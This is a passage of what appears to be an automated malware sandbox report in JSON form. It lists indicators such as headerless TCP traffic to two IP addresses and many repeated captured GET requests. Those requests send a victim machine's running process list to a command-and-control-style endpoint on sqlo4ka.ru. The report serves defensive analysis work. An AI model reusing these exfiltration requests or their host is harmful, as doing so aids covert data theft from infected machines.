\"System.Core,3.5.0.0,,b77a5c561934e089,MSIL\""},{"type":"linebreak"},{"type":"text","value":"\"127.0.0.1\""},{"type":"linebreak"},{"type":"text","value":"\"0.0.1.0\""},{"type":"linebreak"},{"type":"text","value":"\"15.9.0.0\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"{SQLite.Designer.SQLiteCommandDesigner, SQLite.Designer, Version=1.0.110.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"SQLite.Designer.SQLiteDataAdapterToolboxItem, SQLite.Designer, Version=1.0.110.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139\""}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Network Related","identifier":"network-23","type":7,"relevance":5,"name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 195.161.41.57 on port 80 is sent without HTTP header\n TCP traffic to 216.239.34.21 on port 80 is sent without HTTP header","description_v2":["TCP traffic to 195.161.41.57 on port 80 is sent without HTTP header","TCP traffic to 216.239.34.21 on port 80 is sent without HTTP header"],"description_v3":[{"type":"text","value":"TCP traffic to 195.161.41.57 on port 80 is sent without HTTP header"},{"type":"linebreak"},{"type":"text","value":"TCP traffic to 216.239.34.21 on port 80 is sent without HTTP header"}],"origin":"Network Traffic","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Remote Access Related","identifier":"string-30","type":2,"relevance":10,"name":"Contains references to WMI/WMIC","description":"$3e","description_v2":["\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")","\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")","\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Edllhost.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")","\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")","\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Edllhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")","\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")","\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")","\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3Etaskhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")","\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3Etaskhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1","Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")"],"description_v3":[{"type":"text","value":"\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe\" (Indicator: \"wmiprvse.exe\")"},{"type":"linebreak"},{"type":"text","value":"\"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: 